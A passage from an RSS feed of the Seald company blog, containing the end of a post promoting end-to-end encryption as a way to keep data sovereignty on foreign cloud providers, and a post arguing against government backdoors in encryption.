become a question of survival.‌‌</p><p>Meanwhile, the debate over data sovereignty, the application of DPMR, the fear of the Cloud Act, the vendetta against GAFA, etc. is gaining momentum. Some are even talking about building a sovereign Cloud! Yet it is a battle that many in Europe would say is lost in advance. AWS, Azure, Google Cloud or even Office 365 and GSuite have become commodities, unbeatable in terms of price, used at all levels, in all types of organizations. <strong>If using them means putting the sovereignty of one's data at risk, not doing so creates a colossal handicap.‌‌</strong></p><h2 id="reconciling-the-irreconcilable-combining-cloud-and-end-to-end-encryption-">Reconciling the irreconcilable: combining Cloud and end-to-end encryption‌‌</h2><p>Under these circumstances, end-to-end encryption has major advantages. It allows us to continue to use the best Cloud provider in complete security, whether it is American, Chinese or European. If the data that this Cloud hosts is end-to-end encrypted with technology like Seald's, there is no risk of losing sovereignty over the data.‌‌</p><p>The host has no authorization and therefore has no access to the understanding of the content! <strong>Backed by an end-to-end encryption solution, there is no longer any scruples about storing critical data on AWS or Azure in a shared cloud.‌‌</strong></p><p>Known for its position on data sovereignty, the United States is validating the relevance of such a solution when, this month, the Senate sees an umpteenth attempt to ban end-to-end encryption with the Lawful Access to Encrypted Data Act...</p><p>If you want to learn more about how to protect your data in your cloud hosted services, <a href="https://www.seald.io/fr/discover?ref=blog.seald.io#">contact us!</a></p><h2 id="how-do-i-set-up-end-to-end-encryption">How do I set up end-to-end encryption?</h2><p>The challenge of implementing end-to-end encryption is twofold: it has to be perfectly robust, and completely transparent to end users. Reconciling these two areas of expertise is a difficult task, and that's where we at Seald come in: <strong>providing end-to-end protection that is completely transparent to users and tailored to your business workflows.</strong></p><p>The first steps in such a project are to answer these three questions:</p><ul><li>What are the elements you want to protect? Knowing that any end-to-end encrypted element will no longer be able to be the subject of backend operations or research on these elements.</li><li>Who will need to have access to it? Knowing that it is necessary to provide backup access by an administrator to retrieve keys in the event of loss or compromise of keys.</li><li>On which terminals, servers or applications are these elements written and read? They should be encrypted as soon as possible and decrypted as late as possible. Determining where the elements come from and how far they go is critical for the broadest possible protection.</li></ul><p>Once these issues have been scanned, the technical work can begin:</p><ul><li>choosing robust cryptographic primitives - <a href="https://docs.seald.io/en/reference/protocols/?ref=blog.seald.io">Seald uses algorithms recommended by ANSSI's RGS</a>;</li><li>set up key management for each recipient - <a href="https://docs.seald.io/en/reference/protocols/encryption-protocols.html?ref=blog.seald.io">Seald provides turn-"key" mechanisms</a>;</li><li>integrate encryption, decryption and authentication for each operation in each terminal, server and application - <a href="https://www.seald.io/fr/discover?ref=blog.seald.io">Seald offers development kits that can be integrated into any system</a>, including AD / LDAP;</li><li>implement recovery mechanisms to prevent data loss - Seald offers an easy-to-use backup key mechanism that supports end-to-end encryption;</li></ul><p>To save you from having to do all these steps yourself, Seald can support you with turnkey or customized end-to-end encryption solutions in your applications and workflows.</p><p><a href="https://www.seald.io/fr/discover?ref=blog.seald.io">Contact our teams to learn more!</a></p>]]></content:encoded>
            <enclosure url="https://blog.seald.io/content/images/2020/07/Data-Pin-ata-slaneconz.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Encryption and politics]]></title>
            <link>https://www.seald.io/blog/encryption-and-politics</link>
            <guid>https://www.seald.io/blog/encryption-and-politics</guid>
            <pubDate>Wed, 03 Jan 2018 17:40:00 GMT</pubDate>
            <description><![CDATA[On Tuesday the 23rd of August 2016
[https://www.liberation.fr/france/2016/08/23/tandem-franco-allemand-pour-renforcer-l-arsenal-antiterroriste-europeen_1474164]
, Interior Minister Bernard Cazeneuve received his German counterpart, Thomas de
Maizière, to exchange views on the control of data encryption means to
strengthen the means of the fight against terrorism.

Some politicians, including Mr. Cazeneuve, demand against the unanimous opinion
of experts that every message transmitted on the Inte]]></description>
            <content:encoded><![CDATA[<p>On <a href="https://www.liberation.fr/france/2016/08/23/tandem-franco-allemand-pour-renforcer-l-arsenal-antiterroriste-europeen_1474164?ref=blog.seald.io">Tuesday the 23rd of August 2016</a>, Interior Minister Bernard Cazeneuve received his German counterpart, Thomas de Maizière, to exchange views on the control of data encryption means to strengthen the means of the fight against terrorism.</p><p>Some politicians, including Mr. Cazeneuve, demand against the unanimous opinion of experts that every message transmitted on the Internet should be readable by States. I find it desperate to read such proposals from governments with regard to data encryption.</p><p>Many services are now putting in place cryptographic means (i.e. encryption) to ensure that only the sender and recipients of a message are able to read it. This is roughly equivalent to putting every message in a safe, and ensuring that only the recipients have the key. The major difference with a real safe (which can be cut out of a disk and protects a physical asset) is that an encrypted message can be duplicated without anyone knowing, so if it could be decrypted with a disk, anyone with a little skill (or a good tutorial) could steal the confidential data without anyone noticing. The trick of cryptography is to make this virtual safe almost unbreakable by the mathematical complexity of the problem, that is, to make it so difficult to calculate the key that the computing power required exceeds what all the computers on Earth combined are capable of doing.</p><h3 id="possible-solutions">Possible solutions</h3><p>Now that we have popularized what cryptography represents, let's decipher the demand of these policies, which naively may seem clever: to give the state a recorder. Let's analyze how this could be done :</p><ul><li>outright banning encryption,</li><li>force email providers to be able to read messages (i.e. prohibit end-to-end encryption),</li><li>give copies of the keys to the State (like a master key),</li><li>weaken the algorithms so that they have a flaw known only to the state.</li></ul><p>The first solution is not acceptable, it's like giving the content of his messages to anyone. This is equivalent to having all your private exchanges posted on Twitter and accessible to everyone.</p><p>The next two are equivalent to doing what is called a single point of failure: the provider or the state. If one of them were compromised or hacked, it would put all users at risk: it's like painting a target on your head, and we know that every computer system has flaws, so it's not easy to work with them. Solutions 2 and 3 therefore revert to solution 1, which is not acceptable.</p><p>The fourth is absurd since the algorithms are publicly known. If they had intrinsic flaws, they would end up being discovered and therefore exploitable by anyone, and this would also come back to proposal 1, which remains unacceptable.</p><p>Finally, even if it were possible to fabricate an inviolable means for the state to read everything without flaws and on a judge's warrant, it would be enough for criminals to turn away from legal messaging to illegal but flawless messaging that already exists. I don't think they're too embarrassed by committing an additional offense....</p><p>I will conclude with a quote from Philip Zimmermann (a major player in cryptography):</p><blockquote>“Si la vie privée était hors-la-loi, seuls les hors-la-loi auraient une vie privée.” P. Zimmermann</blockquote><p>Better Seald than sorry.</p><p><a href="https://www.seald.io/discover?ref=blog.seald.io">Discover Seald</a> with your team!</p>]]></content:encoded>
            <enclosure url="https://blog.seald.io/content/images/2020/06/photo-1496144300411-8dd31ce145ba.jpeg" length="0" type="image/jpeg"/>
        </item>
    </channel>
</rss>